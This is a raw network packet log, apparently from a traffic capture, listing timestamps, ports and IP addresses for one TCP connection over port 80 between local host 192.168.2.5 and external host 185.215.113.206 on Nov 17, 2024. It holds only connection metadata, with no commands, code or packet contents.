Nov 17, 2024 03:42:16.461203098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.461222887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.461237907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.461252928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.461271048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.461287022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.461302996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.461338997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.461339951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.461391926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.461405039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.461427927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.461453915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.461462975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.461498022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.461503029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.461525917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.461591005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.461625099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.461642981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.461663961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.461668968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.461690903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.461719036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.461888075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.461940050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.461950064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.461971998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.461992025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.462025881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.462035894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.462069988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.462089062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.462121964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.510493994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.510567904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.510587931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.510606050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.510621071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.510641098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.510654926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.510689020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.510699034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.510734081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.510751963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.510770082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.510783911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.510802031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.510818958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.510834932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.510859013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.510869980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.510880947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.510921001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.510926008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.510973930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.510977983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.511012077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.511042118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.511048079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.511059999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.511081934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.511099100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.511117935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.511132956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.511157036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.511169910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.511173964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.511192083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.511204004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.511228085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.511248112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.511307001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.511328936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.511337996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.511363029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.511380911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.511399031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.511409044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.511447906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.545706034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.545820951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.545855045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.545861006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.545890093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.545906067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.579822063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.579950094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.579957008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.579988956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580003977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580024958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580041885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580060959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580080032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580095053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580122948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580130100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580163956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580199003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580200911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580200911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580234051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580244064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580244064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580267906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580297947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580302954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580338955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580352068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580365896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580404043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580646038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580704927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580729008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580734015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580768108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580801010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580801964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580854893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580858946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580890894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580914974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580924034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.580940008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.580976009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.581192017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.581226110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.581248045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.581259966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.581286907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.581310987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.629587889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.629657984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.629693985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.629712105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.629734039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.629738092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.629755974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.629789114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.629801035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.629826069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.629844904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.629865885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.629892111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.629918098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.629921913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.629952908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.629970074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.629988909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.630006075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.630023003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.630048037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.630057096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.630089045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.630095005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.630121946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.630146980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.630146980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.630156994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.630170107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.630192041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.630220890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.630230904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.630250931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.630280018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.630356073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.630389929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.630412102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.630425930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.630444050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.630460978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.630479097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.630495071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.630510092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.630551100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.664463043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.664520025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.664556980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.664591074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.664629936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.664659023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.664659023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.664706945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.664706945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.698786974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.698875904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.698883057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.698930979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.698947906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.698982954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699001074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699035883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699049950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699071884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699090004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699105978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699124098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699141026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699153900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699174881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699198961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699208975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699229002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699242115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699258089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699276924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699289083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699332952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699337006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699389935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699573994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699608088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699626923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699642897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699666023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699686050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699827909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699877024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699887991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699913025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699929953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699945927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699966908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.699980021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.699990034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.700030088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.747922897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.747997046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748033047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748034954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748070955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748074055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748106956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748138905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748172045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748172045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748173952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748209953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748214006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748245955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748248100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748270988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748281002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748296976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748317003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748332024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748363018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748548985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748583078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748611927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748629093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748635054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748668909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748688936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748706102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748719931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748754978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748914003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748949051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.748971939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.748999119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.749001980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.749036074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.749049902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.749069929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.749083996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.749104023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.749120951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.749142885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.749155045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.749174118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.749192953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.749218941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.783406973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.783461094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.783498049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.783519983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.783531904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.783571005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.783584118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.783601999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.783634901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.783658981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.817436934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.817470074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.817521095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.817539930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.817554951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.817581892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.817591906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.817608118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.817626953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.817655087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.817687035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.817694902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.817748070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.817749977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.817800045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.817867041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.817902088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.817924976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.817934990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.817946911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.817970037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.817991972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.818020105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.818180084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.818229914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.818231106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.818264961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.818280935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.818299055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.818314075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.818332911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.818342924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.818382978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.818640947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.818692923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.818694115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.818727970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.818742990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.818762064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.818778992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.818804026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.818819046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.818836927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.818854094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.818873882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.818883896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.818907022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.818924904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.818954945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.819277048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.819305897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.819328070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.819360971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:16.866694927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.866763115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:16.866792917 CET	80	49704	185.215.113.206	192.168.2.5
